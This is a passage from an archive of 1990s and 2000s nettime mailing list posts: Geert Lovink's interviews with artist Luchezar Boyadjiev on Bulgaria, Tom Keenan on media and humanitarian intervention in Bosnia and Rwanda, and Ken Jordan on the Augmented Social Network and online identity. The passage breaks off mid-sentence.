For about two months, we had a\nspecial meeting at 4 p.m. each day, in front of parliament. Artists\nwould meet and have a lot of fresh air, jump up and down and demonstrate.\nWe used cans full of coins to produce a lot of noise. The big change\ncompared to 89 is that people, artists including, can change things. After\nthese seven years of having simulated reforms, without actual change,\npeople all of the sudden became dissidents. They lost all their feelings\nof nostalgia for the security of the past. Unfortunetely that also implies\nto the word socialismm which is compromised in many ways. A new party was\nfounded in the winter and is already called in the parliament 'the\nEuroleft'. It brings together former socialists, liberals and\nintellectuals. It is a significant sign that very soon there will be the\npossibility to name things with the proper name. Soon it will be possible\nto work on alternatives and create progressive, radical movements, without\nbeing immediately branded a communist.\n\nGL: Will the World Bank also take over the branch of contemporary art? You\nhave been stating this in the catalogue 'Menschenbilder - Photo und\nVideokunst aus Bulgarien', an exhibition organized by the IFA-galery in\nBerlin, held in february-march 1997.\n\nLB: Traditionally, Bulgaria has been in and out of its own history, as\nwell as in and out of European History, as if it was a supermarket. The\ncountry has always been performing better when it was not independant.\nWhenever it was part of a larger empire, be that the Byzantine , the\nOttoman, or the Sovjet Empire, or an ally to Germany in two World Wars\nand now (it has tied itself up to) the German mark... My only suspicion\nis that we have always tended to side with the losers. I don't mean\nto offend the Germans, but I would hate to see this happen again.\n\nIf you are familiar with the Moscow conceptional circle of the late\neighties and early nineties, approximately over a hunderd people... The\nonly people that remained as a presence in contemporary art in the West\nare Kabakov and to a certain extend Dimitri Prikov and the Medical\nHermenetics. There is a lot of interest and the potential for reciprocal\nexchange. The reason is that there is no infrastructure in Russia. The\nsame holds true in Bulgaria. There is interest for not more than two\nartists at a time. If it is ever there it is stable because it is based on\nindividual artists. We certainly cannot sustain reciprocal exchange. We do\nnot have any infrastructure to speak of. Outside the Soros Center there is\nhardly any sponsorship for art. The annual budget of the Soros Center is\nprobably ten times larger than that of the Ministry of Culture.\nSo I developed the idea to have an international curatorial board, to\ncontrol contemporary art in Bulgaria, like the currency board. It would be\neasy to fill up an exhibition hall. Than you start sending information,\nright now the most important aspect: exchange of information. Not\nnecessarily for promotional purposes. Just to keep the communication lines\nopen. Every visitor coming to Bulgaria is influencing the situation there,\nin a good and in a bad sense. People tend to be disoriented afterwards. To\navoid this problem, we could have an international board. Would you like\nto join?\n\n(edited by Patrice Riemens)\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Tue, 29 Jul 1997 11:38:21 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199707290938.LAA25624 {AT} xs2.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9707/msg00107.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> interview with luchezar boyadjiev"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00001",
                "content": "\nNote: Hallo from Workspace. At this moment the group 'Deep Europe' is\nhere. Besides this, we concentrate on the newsgroups which are already\noperational at http://www.documenta.de/workspace. Please join us there.\nThis is also an experiment for a (possible) new interface for the nettime\ncommunity. From then on we will have many parallel newsgroups, not just\nthis one channel of the mailing list. The ultimate aim will be to serve\nour critics, the poor ecologists that suffer so much from the info\noverload disease. In the future they will no longer feel the pain of\ndeleting valuable documents. They can surf through the newsgroups and feel\nfree and healthy!\n\n- Geert\n\n-----------\n\nMedia Wars and the Humanitarian (non-)Interventions\nAn Interview with Tom Keenan\nBy Geert Lovink\nJuly 12, 1997\n\nAt Hybrid Workspace, Documenta X, Kassel\n\n\"Thomas W. Keenan teaches at the Institute for English Literature and Media\nTheory at Princeton University. He has translated the works of philosophers\nsuch as Derrida and Foucault and is the author of significant articles on\ndeconstruction and postmodernism. He has expressed his views on current\ntopics such as AIDS, armed conflicts, urbanism, new technologies,\nmulticulturalism in the age of globalization, etc. He contributed to the\ncatalogue of an\nexhibition at the Fundacio Antoni Tapies in Barcelona with an article on\nthe future of the museum as an institution. His most recent work, Fables of\nResponsibility: Aberrations and Predicaments in Ethics and Politics (1997),\nhas a decidedly political orientation. Keenan is presently writing a book\non humanitarianism and the role of the mass media, based on the media\ncoverage of United States military intervention in Somalia, Rwanda, and\nBosnia-Herzegovina.\"\n\n(official documenta info)\n\nTom Keenan was one of the organizers of the 'Data Conflicts' conference on\n(new) media and politics in Eastern Europe which took place in Potsdam in\nDecember 1996. Tom's 100 days lecture \"Publicity and Indifference: Live\nfrom\nSarajevo\" is available on real video. He's promised to send the text of the\nlecture to nettime:\n\nhttp://www.mediaweb-tv.de/dx/0712/gaeste_frame_e.html\n\n\nGeert Lovink: At this moment the bandwidth campaign is going on here. What\nis your view of this claim?\n\nTom Keenan: It is a good idea to stress the topic of the politics of\ncyberspace. Not merely the ritual formulations about the need for universal\naccess, which has become a slogan in the United States. Not just 'We Want\nMore Bandwidth' but 'Bandwidth' as such. Last night, Saskia Sassen spoke\nabout electronic space and the formation of new claims. She talked about a\nhost of new political actors, both of the corporate multinational type and\nthe local disadvantaged groups. But I was troubled by her notion of\npresence, which I understood as the public space, the city, as a space of\npresence into which actors enter and present themselves. But the idea of\n'self-presentation' brings up all the questions of the Self, identity and\nessence. 'Because I am who I am, I make this demand for articulation,\nexpression, access... bandwidth.' After 30 years of philosophical\ncriticism, the fabled deconstruction of the metaphysics of presence, maybe\nwe have developed new ways of [defining] what a claim is. For me 'We Want'\nmeans: precisely because I don't have and take for granted something that\nis mine as a naturally given posession. Because it is not here now, I want\nit. That is a claim without any ground or basis in the present. It is a\nprojection, a desire, articulated in relation to something absent. It does\nnot mean that I just want it for me. It would be an achivement, an\nattainment, a conquest to get bandwidth. It will be the object of political\nstruggle. It will be a creation, not something which was already yours, but\nwhich you just did not have yet. It will cause trouble, it will invent\nsomething, distrupt; it will fabricate something new.\n\nGL: What will be the topic of your 100 days lecture?\n\nTK: Tonight I will be talking about the role of the television news media\nin the conflict in Bosnia. We now understand that fighting takes place not\njust on the street, between bunkers, with artillery, but with the\n'artillery of the press'. The media as weapon. I am trying to understand\ntwo conflicting interpretations of the role of media in contemporary\nwarfare. One school bases its claim on the Gulf War and the conflict in\nSomalia. People understand this as the causal power of images. If I show\nsomething on television, then something is bound to happen. Sarajevo seem\nto present the counter to that argument. The more things were shown on\ntelevision, the less anything happpened. There was this notion that\ntelevision induced a narcosis, a stupor or voyeurism, which deprived us of\nthe capacity for action, rather than spurring us. An example would be\nSnipers Alley in Sarajevo where several cameras and reporters of the\ninternational news media  waited for people who were certain to be shot if\nthey walked across this street in daylight. Both the camera team and the UN\nwas in the same voyeuristic position as we were. There is a generalized\npleasure in viewing. A strange kind of intervention. One has a sense here\nof an omnipresence of media as entertainment, even for the so-called\nvictims.\n\nGL: The War in Bosnia did not have a mobilizing effect. People could not\nidentify themselves with any one of the parties. They all seemed victims\nand guilty at the same time. There was a similarity between the 'passive'\nbehaviour of the television viewers and the incapability of France, the UK\nand the UN to stop this war.\n\nTK: There is a direct analogy between the semi-distanced position that\ndefines that of the news media. That is part of a 'journalistic' ideology\nand self-understanding to not get too involved. Certainly in Bosnia\njournalists played with this. A lot of them became less than detached. A\nfeeling of involvement emerged, but structurally, the position of the media\nremained analogous to a military force that intervenes on humanitarian\ngrounds, claiming strict neutrality among all the parties. We treat this\none the same as that one, which is exactly the structure of the camera\nwhich looks at all potential\nsubjects with a leveling force. It does not distinguish between the images\nthat it presents.\nWe need to refine the notion of passivity. There is no such thing as\npassivity or inaction. The arrival of the cameras, like the arrival of\nthousands of soldiers, hundreds of NGOs, relief agencies, Red Crosses. All\nof those interventions transformed the situation on the ground and on the\nscreen. In the same way as the presence of the camera induces certain\nevents. There is a magnetic appeal there for things to happen. Likewise,\nthe passivity of the humanitarian, inadvertently, leads to a transformation\nof the situation.\n\nGL: Still, we have to face the fact there was no large anti-war movement as\nthere was in the days of Vietnam.\n\nTK: The outcry did not occur. What energy there was, was immediately\nrechanneled into a humanitarian response. Rather than saying, 'We need to\nintervene, we need to stop the genocide', we said, 'Poor, suffering people\nneed food, help, shelter, tents. There was an opportunity, a vehicle of\nexpression, but it inadvertently become a pro-war movement. It began\nprolonging the war by stabilizing certain zones of conflict, by rewarding\nthe clearing of populations on ethnic grounds. By financing and feeding,\nthe humantarian efforts rendered unnecessary a military and political\nintervention and offered an alibi.\n\nGL: The situation in Bosnia is contained now, but a lot of the issues are\nstill open, not only the media question. New facts are being brought up, as\nin the case of Srebrenica, where the Dutch battalion 'witnessed' the\nslaughter of thousands of civilians. Or the topic of the rising power of\nNGOs and their involvement in those conflicts.\n\nTM: It is interesting that this very weekend we see once again the return\nof the international news media to Bosnia in the days following the arrest\nof one indicted criminal and the killing of another. The purest indicator\nbeing the return to Sarajevo of Christiane Amanpour of CNN. There is the\nstory that in the Central Operations Room of the Pentagon there is a map,\nwith little pushpins, to keep constant track of Christiane Amanpour. As a\nmilitary event, the location of this reporter is considered an item of\nnational security.\nNGOs represent a very radical step: the notion that international politics\ncan be conducted by non-state actors. Foreign relations are no longer the\nprovince only of states, diplomats, militaries or of transnational\ncorporations. Other parties can cross borders in an organized way and\nintervene. The risk that brings with it is the ideology of humanitarian\nneutrality or non-partisanship. When they intervene they always take sides\nwhich gives the most to the dominant regional force, the bad actor. One has\nto compromise with the dominant power. What is astonishing is their\nprofound immunity from critique. If there is a contemporary sacred cow, it\nis humanitarianism. The only ground, at least in the United States, for\ncriticizing a humanitarian agency is that it wastes money. For every dollar\nwe gave to save the children, 50% of it went to pay staff. In fact, many\norganisations are too effective. Their effectivity consists in handing over\nrelief goods to the parties that are by and large responsible for causing\nthe shortage of food and medicine. And in the willfull blindness for the\nnon-intervention intervention strategy. That is where a critique would have\nto begin. To their credit, there are maybe one or two brave human rights\norganisations. I would mention African Rights in London, which published in\nNovember 1994 an important and still underrecognized white paper called\n'Humanitarianism Unbound', which tries to understand the lack of\naccountability of NGOs in crises like Bosnia or Rwanda. There is an\nincreasing state-like behaviour of non-state actors.\n\nOne of the places to organize this kind of critique would be around the\nnotion of 'independant media'. We are in a conceptual bind right now. We\nhave inherited the notion from the campaigns against communist\ndictatorships where the state was seen as absorbing or preventing the\ncreation of any public sphere or civil society. Western or transnational\nagencies invented the notion of independance in relation to the state,\nwhich was seen as a totalizing force. Independent media became simply\nanti-state press agencies. Now the number of actors in the former communist\nstates has multiplied in a way which is hard to calculate. UN, EC or Soros\nhave a very hard time understanding what independant might mean in relation\nto a state which is no longer simply totalitarian.\nIn Rwanda, which was not a communist state but a one party state for a long\ntime, independant media were created and fostered after the 1991 agreement\nbetween the warring parties. Roughly 90% of the money went to incalculable\nextreme political movements, mostly radio, run by the most militantly\nfundamentalist (Hutu) militia. Year after year, there were reports back to\nthe Untited Nations about the success of the independant media project.\nMany voices were represented, etc. And it was precisely those media that\nfostered, and in some cases even organized genocide in Rwanda.\n\n(edited by David Hudson)\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} icf.de and \"info nettime\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} icf.de\n\n",
                "date": "Fri, 1 Aug 1997 16:34:55 +0200 (MET DST)",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199708011434.QAA27775 {AT} xs1.xs4all.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9708/msg00001.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> interview with Tom Keenan"
            },
            {
                "content-type": "text/plai",
                "from": "geert <geert {AT} xs4all.nl>",
                "id": "00035",
                "content": "\nASN: Reinventing Social Networks\nInterview with Ken Jordan\nBy Geert Lovink\n\nMid 2003 a wave of excitement over something called the Planetwork\nconference in San Francisco reached me. Apparently an alternative and\ninnovative attempt was under way to redefine the Internet, a medium so\nmuch plagued by corporate and state control, trolls, spam and viruses.\nPlanetwork was founded in 1998 by Erik Davis, Jim Fournier, Elizabeth\nThompson and David Ulansey. It is a network in which activists mingle\nwith technologists. It\u0092s aim has been to connect issues of global\necology and information technology. Politically speaking Planetwork is a\ncivil society initiative that strategically positions itself as part of\nSilicon Valley, while at the same time celebrating the Seattle protests\nagainst corporate dominance. A typical post-dotcom phenomena, one could\nsay. They are not so much driven by selfish libertarian greed, as once\npropagated by Wired. Rather, they are an incarnation of the hippie\nvalues and ideas that once circulated in the Well. I know, in California\nsuch distinctions may seem problematic, but it is nonetheless important\nto stress that there is still, or again, a progressive agenda within the\nIT-sector. \n\nThe first Planetwork conference took place in May 2000. As a result of\nthis meeting a LinkTank group was formulated, resulting in a \u0091white\npaper\u0092 entitled The Augmented Social Network: Building Identity and\nTrust into the Next-Generation Internet. The Augmented Social Network\n(ASN) is a proposal for a \u0091next generation\u0092 online community that would\nstrengthen the collaborative nature of the Internet, enhancing its\nability to act as a public commons that engages citizens in civil\nsociety. How can the Internet revitalize democracy? ASN is not a piece\nof software or a standard as such but rather a techno-social contract.\nOne could also see the proposed network of trust as a set of rules, a\n(belief) system hardwired in solid social relationships. This \u0091meta\u0092\naspect of ASN doesn\u0092t make it easy to understand\u0097or to develop. The\npaper was presented at the PlaNetwork conference \"Networking a\nSustainable Future\" in June, 2003. It's available as a PDF at\nhttp://asn.planetwork.net/whitepaper.html. An HTML version is at:\nhttp://www.firstmonday.dk/issues/issue8_8/jordan/index.html.\n\nNew York-based Ken Jordan is one the ASN authors (together with Jan\nHauser and Steven Foster). Ken is a pioneer of Web-based multimedia. In\n1995 he led the development of SonicNet.com, one of the first online\nmusic zines. In 1996 he was involved in the general interest\nzineWord.com and the action sports site Charged.com. In 1999 he\nco-founded the alternative global news portal MediaChannel.org. He is\ncurrently a writer and digital media consultant. In arts and theory\ncircles he is known for Multimedia: From Wagner to Virtual Reality, an\nanthology (co-edited with Randall Packer) that traces the \u0091secret\u0092\nhistory of digital multimedia.\n\nWith Ken Jordan I discussed the call for \u0091trust\u0092 and the question of\nsustainable social networks. Is the Internet consensus culture cure or\ndisease? Instead of merely posing the \u0091power\u0092 question, like in the case\nof ICANN and WSIS, the ASN initiative points at exciting conceptual\nrealms out there in which civil society is not just a user, not a victim\nof governments and Microsofts. Instead, it positions itself in the\ndriver\u0092s seat and takes place at the drawing board of the network\nsociety.\n\nGL: Ken, what motivated you to develop the proposal for an Augmented\nSocial Network? \n\nKJ: The way information is organized, who has access to it, and under\nwhat circumstances access is permitted -- these questions are central to\nhow power manifests in society. Digital technology is already\ntransforming the way we engage with information. Our communications\ntools are shifting the political landscape in ways far more profound\nthan what is suggested by, on the positive side, MoveOn.org, or, on the\nnegative side, Carnivore and its intrusive, controlling peers. But while\nthe consequences of living in a \"network society\" have received\nattention, in your writing and elsewhere, we've barely started to\ndiscuss how digital technology could evolve, over time, to contribute\nmore effectively to democracy. \n\nSoftware, by its nature, is programmable. So doesn't it make sense for\ncivil society advocates to ask what we want software to achieve, see if\nthe products available meet those objectives, and, if they don't,\nattempt to build ones that do? For some reason, especially since the\nlate 1970s, the active assumption has been that business and government\nwill design our digital communication infrastructure for the rest of us.\nUseful tools, it is assumed, will magically appear. Almost no one pays\nattention to the public interest issues around our communications tools\nuntil after the new technologies are introduced, and their benefits or\ndangers become clear. Civil society groups like Creative Commons, the\nElectronic Frontier Foundation, and EPIC spend most of their energy\nreacting to technical innovations that have already been prototyped and\nreleased. It has been nearly a decade since the Web ushered in the era\nof popular digital culture, and we are increasingly aware of the\ncapabilities inherent in information technology. But where are the civil\nsociety advocates who are proposing and developing next generation\ninfrastructure and software in the public interest? I mean, not only\nfaster bandwidth (or insuring the protection of freedoms we already\nhave, like downloading media files), but new technology designed to\nbetter support democratic engagement in communities and governance. \n\nGL: Given the importance of networks in society, and the way that\nnetworks contribute to democratic action by challenging traditional\nconcentrations of power, you would expect attention to be given to the\ndesign of tools that improve the efficiency of creating human networks.\n\nKJ: The Augmented Social Network is meant to be one such attempt. It\nfocuses on the issue of how your identity is represented in the digital\nspace, and what that representation should enable you to do. In\nparticular, it addresses how to find others online with similar,\nrelevant interests or expertise, in a context that engenders trust, so\nthat you can form groups with them more effectively. It's a technical\narchitecture for an Internet-wide system that enables appropriate\nintroductions between people who share affinities through the\nrecommendations of trusted third parties. It is Internet-wide -- rather\nthan a closed, proprietary system -- in order to connect people across\ndivergent social networks. It would also support the distribution of\nmedia and the creation of ad-hoc groups using the same Net-wide\nrecommendation system. \n\nGL: Could you give me an example of how it works?\n\nKJ: We present a number of detailed scenarios in the white paper, but\nhere's a simple example. Suppose you're working on a solar energy\nproject and need to find someone with very specific expertise to answer\na difficult question. You post the question to the three solar lists you\nare a member of, you use Google, but you don't find an answer. The ASN\nwould allow you to pass the question forward through a targeted series\nof friends-of-friends who are solar experts, in a semi-automated manner,\ncrossing the borders of distinct social networks, vastly increasing your\nchance of connecting with someone who can help you. \n\nAnother example: you are looking for someone to help execute a solar\nenergy project in Honduras. You have lined up the funding, but you need\nan engineer on the ground in Honduras who has experience doing solar\nprojects. The ASN would enable you to connect to an engineer with the\nappropriate expertise through a series of third party recommendations,\nso you can feel with some certainty that this person can be trusted.\n\nThe idea is to take technology that is already developed, that already\nworks, and put it to use in the public interest. It would require the\nadoption of a set of standards and protocols, and the writing of some\nsoftware applications. But the ASN is more the repurposing of existing\ntechnical systems than the invention of something new. And it would\nprovide crucial functionality to support a wide range of progressive\ninitiatives, from complimentary currencies to alternative media to\nchaordic (distributed) governance to grassroots organizing. When we\npresented the ASN at the Planetwork conference in San Francisco last\nJune, its value in all these areas was apparent. \n\nGL: Planetwork was a hybrid post dotcom and post 911 conference, that\nperhaps without GW Bush would not have taken place. Do you agree? It\nseems like an exciting coalition between technologists and activists.\nHopefully more than a nostalgic return of the sixties.\n\nKJ: The first Planetwork conference actually took place in May\n2000\u0097charged by the energy that followed the WTO protests in Seattle. A\nnumber of people involved peripherally with the annual Bioneers\nconference, which focuses on new environmental technologies that promote\nsustainability, wanted to bring that work into a dialog with the\nemerging information technologies. There was a strong, visceral sense,\nespecially after Seattle, that we need to shape a practical alternative\nto top down, corporate globalization\u0096and that this alternative has to be\ngrounded in emerging technologies.\n\nThere's been a bias on the American left against computers, in general,\nand the potential for digital communications to contribute to civil\nsociety, in particular. In the popular left imagination, computers start\nwith two strikes against them: they were birthed by the military, and\nthey spread through the relentless marketing of soulless corporations.\nMoreover, having access to computers meant an additional budget line for\nprogressive groups already stretched too thin -- which implied that they\nwere tools for the privileged. The dot com boom only reinforced this\nimpression, with its emphasis on stock options rather than the public\ngood. For these and other related reasons, there wasn't much contact\nbetween progressives working on issues like the environment or global\njustice, and IT professionals in Silicon Valley. \n\nPlanetwork deliberately aimed to make links between these two cultures.\nSome 500 people attended the conference. I wasn't there, but I heard\nfrom many who went that it was a galvanizing moment, opening their eyes\nto possibilities they hadn't considered before.\n\nGL: How exactly did Planetwork lead to the ASN proposal?\n\nKJ: One of the people there was Brad DeGraf, a pioneer in computer\nanimation. It struck him that what we need is a kind of green, global\njustice AOL, a communications infrastructure that would enable members\nto coordinate their actions politically, and aggregate their financial\npower into a force for change. He proposed this idea to two of the\nPlanetwork organizers, Elizabeth Thompson and Jim Fournier, and various\nothers he thought might be interested, including me. This led to a\nweekend brainstorming session among the redwoods in Ben Lomand,\nCalifornia, in September, 2000. 25 people attended, a mix of IT\nprofessionals, environmental activists, independent media pros, and a\ncouple of experts in socially responsible investments. About two thirds\ncame from the Bay Area, the rest from the East Coast.\n\nIt was a freewheeling, dynamic conversation -- unlike anything any of us\nhad been part of before. At the time, activists and technologists rarely\ndiscussed the blue sky possibilities for digital communications. Of\ncourse, by that point environmental groups has started to use the\nInternet \u0096 the success of Seattle was due in good part to email and the\nWeb; the IMC launched during Seattle -- but in these cases activists\nwere using existing tools already common in the business sector. They\nweren't thinking about next generation development of applications and\ninfrastructure, the way IT people do. At the same time, IT engineers\nrarely discussed with activists their long term strategic objectives,\nhow they intend to build a movement.\n\nGL: Even today we face a gap between digital and activists worlds,\nisn\u0092t?\n\nKJ: This first meeting of the group, affectionately nicknamed the Web\nCabal, led to another half dozen convenings in San Francisco and New\nYork over the next year. The initial 25 participants extended to a total\nof about 50. We quickly moved away from the notion of a centralized,\nAOL-like infrastructure to exploring different models for a distributed,\nglobal, targeted communications network\u0097a next-generation Internet honed\nto serve civil society. This system would not only provide a platform\nfor activists (and all citizens) to meet, communicate, and organize much\nmore effectively, it would encourage the use of complementary currencies\nand other alternative forms of exchange.\n\nIn early 2002, two Cabalists, Jan Hauser and Steven Foster, were asked\nto write a white paper describing the rough technical architecture such\na system would require. While many in the group contributed ideas, Jan\nand Steve had done most of the heavy lifting to map a practical\ntechnical architecture. Jan had been a chief architect at Sun for 15\nyears, and Steven is the matching technologies expert who did Veronica,\nthe popular pre-Web Internet search engine. At the Planetwork\nconference, actually, Jan gave a keynote speech that proposed an\ninteractive P2P communications infrastructure as an alternative to\ncentralized, hierarchical, broadcast media. The ASN brought together\nideas Jan had been playing with for a while. The two finished a draft in\nthe summer of 2002. I began to write a new version of the white paper in\nthe fall, made the politics overt, added theory and context, while\nreferring to their technical draft and consulting with them and Neil\nSieling -- another Cabalista \u0096 for feedback. \n\nA draft of the paper, titled \"The Augmented Social Network: Building\nIdentity and Trust into the Next-Generation Internet,\" was circulated to\nthe Web Cabal\u0097now formally named LinkTank\u0097 in the spring of 2003, and\nJim and Elizabeth decided to make it the centrepiece of the second\nPlanetwork conference, which was set for June. Jan, Steven and I\npresented the paper there, and it was later published by the web journal\nFirst Monday.\n\nGL: Where is the ASN initiative at the moment? \n\nKJ: The ASN is a blue sky vision for the future of online community. It\nstakes out some conceptual territory, presenting a civil society vision\nof how the Internet could evolve -- particularly addressing the issues\nof Identity and Trust (two packed terms that have a pretty specific\nmeaning in this context). It provides a clear alternative to the\ndangerous direction the Internet may well be heading in -- a\ncorporate/government panopticon. But it's not enough to stand against\ndigital disempowerment and control; we need to stand *for* something.\nThe ASN shows that by coordinating the writing of standards and\nprotocols between several different, previously separate technical areas\n(persistent identity, interoperability between community\ninfrastructures, matching technologies, and brokering) you could add a\nlayer of functionality to the Internet that would be greatly in the\npublic interest. The ASN is not a piece of software or a product.\nBuilding a single application won't make the ASN come into being. It's\nnot something you can write a business plan around, because the\nintention is to introduce functionality that is in the public domain\n(like email). For that reason, it is hard to fund. At least, in today's\nenvironment. \n\nRemarkably, there is no existing constituency to support IT projects of\nthis scale that serve the needs of civil society. There are no venues,\nno institutions, where you can get support for a project that looks\nahead five years and says: here's how we'd like to see the Internet's\ninfrastructure develop in order to meet the challenges facing democracy.\nUniversities don't support this kind of thing. Foundations don't know\nhow to evaluate proposals for them. Everyone assumes that either: (1)\nthe Internet and its core functionality are complete, the main\ndevelopment phase is over, and the only way it will change over time is\nto get faster (which of course ignores the history of how the Internet\nwas birthed and evolved, since the type of functionality supported by\nthe Net changed considerably in its early decades; the Web, now\nconsidered a core functionality, wasn't introduced until the Net was 20\nyears old); or (2) industry (or genius hackers like Napster's Sean\nFanning) will drive improvements to the Internet, so the public doesn't\nhave to think too much about how it will evolve, because the market\ntakes care of all things (which of course ignores the fact that the Net\nwas initially designed by coordinated teams in the non-profit sector\nmotivated to make something that contributes to the public good). The\nASN doesn't require any \"new plumbing\" in the guts of the Internet. It's\na meta-layer, basically, that goes on top of what's already there -- as\nthe Web did. But like other protocols and standards that make up the\nInternet and its core functionality, it proposes a new set of agreements\nthat, together, would add useful tools to the Net -- things that could\nincrease the Internet's ability to support civil society.\n\nWe could put together a development program that would lead to the\nestablishment and adoption of the ASN. In fact, we've got a draft of\nsuch a plan. But we found that there's no one to send it to. There's no\nobvious place to go for support.\n\nGL: Why isn\u0092t ASN turning to the open source community or see itself\npart of it?\n\nKJ: Open source development is fantastic for some things, and not so\ngreat for others. It's a less than ideal environment for the creation of\ncomplex systems that require a lot of coordination. Of course, the ASN\ndepends on software that adheres to open standards. But the writing of\nthe code, the development of the standards, requires a dedicated,\ncoordinated team. Which is not something that happens easily on open\nsource, volunteer projects. I'd love a bunch of kick ass programmers to\nprove me wrong by volunteering to crank ASN code!\n\nWhen we wrote the paper, we hoped that the rationale behind the ASN\nwould motivate the progressive foundations to spring some seed funding.\nDidn't happen. But what did happen was that the ASN inspired a lot of\nfolks to think in new ways about the civil society implications of our\ncommunications infrastructure. Some of these people are developing\nprojects inspired by the ASN. One of the more interesting projects comes\nout of the Social Science Research Council, spearheaded by Robert\nLatham. It's not the ASN per se, but it could help lead to the ASN.\nAnother is a complimentary currency initiative called Interra, which\nuses information technology to help geographic-based communities to make\nbetter use of local resources and, at the same time, generate support\nfor civil society initiatives. Greg Steltenpohl, the guy behind Interra,\nwas also part of the Web Cabal. We also know of various commercial and\nnon-profit efforts that intend to introduce aspects of the ASN into\nonline community infrastructures now in development. We're involved with\nsome of them. But how that will turn out is hard to say....\n\nGL: Why do you think identity and trust are the key problems of today?\n\nKJ: Online identity is not an issue that we chose. Rather, as they say,\nit has been chosen for us. There are a number of industry-supported\ninitiatives that intend to bring a market-centric notion of digital\nidentity to the Internet, such as Liberty Alliance and Microsoft's WS-*.\nWhich will win over its competition, and the exact way online identity\nwill be handled, is far from clear. But much energy is now being devoted\nto setting standards for how individuals will be represented online --\nhow aspects of your personal history will be aggregated into a\npersistent, digital identifier of some kind. Most of this stuff is not\nnefarious, or explicitly about control. Nonetheless, it lends itself to\nabuses that could threaten democracy. That's not an inevitable\nconsequence, but it warrants concern.\n\nIt's also worth considering: do we want the Internet to devolve into\nlittle more than a virtual shopping mall? If online identity is narrowly\ndesigned only to facilitate your behavior as a consumer, and doesn't\nsupport the ways you act as an engaged citizen in a democracy, the\nfuture of the Net looks pretty bleak. \n\nAt the moment, there is no civil society voice at the table while these\nstandards are being set -- other than privacy advocates. Of course,\nprivacy-- the securing of our personal information so it is not used\nwithout our explicit consent -- is critical. That's a given. But a civil\nsociety notion of online identity should do more than just protect\nprivacy. It ought to encourage direct participation by citizens in their\ncommunities, and with their government. \n\nGL: We managed to get along fine for all these years without a global\napproach to digital identity. Is it really such a problem? \n\nKJ: The pioneers of digital communications, like Doug Engelbart and Alan\nKay, didn't give much thought to identity. Back in the 1960s,\nEngelbart's oNLine System (NLS) assigned each user a non-transferable\nidentification\u0097it didn't allow for anonymity, nor did Engelbart assume\nthat users would want to be anonymous. Online communications, in the\nbeginning (say, 1965-72), were designed to facilitate trusted\nrelationships between known peers. Most NLS users were based in\nEngelbart's lab at Stanford Research Institute; later the NLS was\nextended to other offices, but still every user was known in a broader\nsocial context. They were co-workers who knew each other. If someone\nacted in an untrustworthy fashion online, it led to consequences\noffline. \n\nSo much of how we communicate online today came out of the NLS\u0097including\nkey suppositions about how information and identity should be\nrepresented in bits. Engelbart somehow assumed that people interacting\nonline would do so in a straightforward, trustworthy manner -- there\nwould be no separation between their online and offline identities,\nwhich were fully disclosed, always available. Engelbart's vision is of a\nsystem for digital communications that encourages a compassionate,\nconnected society that values collective action, and is based on a high\nlevel of mutual trust between collaborators. The NLS was meant to serve\ngroups of people participating openly toward shared objectives. For\ninstance, the oNLine System would support the thousands of people\ncollaborating on the design and manufacture of an airplane\u0097or, more\nambitiously, the international community of scientists working on\ncomplex problems like global warming. The representation of identity\nonline, in these contexts, is a relatively straightforward matter. For\nthat reason, our digital communication tools give us sophisticated ways\nto identify and organize documents, but not individuals\u0097even though the\nNLS (and the Internet, following NLS's example) was intended from the\nstart to connect people to one another as much as it connects people to\ndigital materials.\n\nWhen the Internet was launched in the early 1970s, and Net-wide email\ncame into use, the direct connection between online and offline identify\nbegan to fray. It became increasingly easy for people to represent\nthemselves online with identities that were disconnected from their\nlives offline. Of course, this gave rise to some extraordinarily\ncreative expressions of self\u0097as sociologists like Sherry Turkle have\nwritten about. It led to a wide range of emerging social behaviors and\nartistic forms that are, at the least, valuable\u0097and for some,\nliberating. But it also lessened the degree of trust associated with\nonline communications, particularly as the number of people using the\nInternet grew from the thousands, in the 1970s, to the many millions in\nthe 90s. You could no longer assume that the person introducing herself\nto you online is who she says she is -- as any AOL sex chat participant\ncirca 1992 would attest.\n\nGL: In this context, identity may be ambiguous. But that is far from\nsaying trusted interactions don't take place. In fact, it's the\nopposite. Anonymity becomes a precondition to trust. \n\nKJ: In many contexts, of course, this is a fine thing. In fact,\nanonymity online is one of the medium's great innovations. But there are\ninstances when you do want to have a strong degree of assurance that the\nperson you meet online is who she says she is. For those cases, you\ndon't have many options for verifying identity in a social interaction.\n\nBut suppose you did. In what ways would you want to be known to others,\nso you could act as an engaged citizen more effectively? What would you\nwant others to know about you? How would you like that information to be\ntreated? In what ways could digital tools help you find others with whom\nyou could share information and collaborate -- beyond what already\nexists today? These are the kinds of questions that lie behind the ASN.\nOnline identity is an issue that civil society advocates need to\naddress. It's time to put mind share and resources toward a\nforward-thinking approach to identity. \n\nGL: Might it be better to do without any form of digital identity\u0097and to\nresist any effort to impose one on the enitre Internet community?\n\nKJ: There is an industry and government led juggernaut to establish some\nform of digital identity -- right now. Today. Digital identity\nmanagement is a $2 billion a year business, and growing. Corporate tools\nfor milking identity data for possible profit -- including the resale of\nthat data on the open market, and the aggregation of that data in\ncentralized systems -- are becoming very sophisticated. It's worth\nrecalling that most of the uses of this information are benign:\nretailers keep track of your purchases in order to offer targeted\ndiscounts so you keep buying the same brand of toilet paper, for\nexample. But once a system is in place, it can present a slippery slope\nto abuse. Of course, you could choose to drop off the grid, not have a\ncredit or debit card, never rent a car (with its mandatory GSP device),\netc. But for most of the population, that kind of resistance is not an\noption. It's not even clear that getting off the grid is an effective\npolitical response, given the 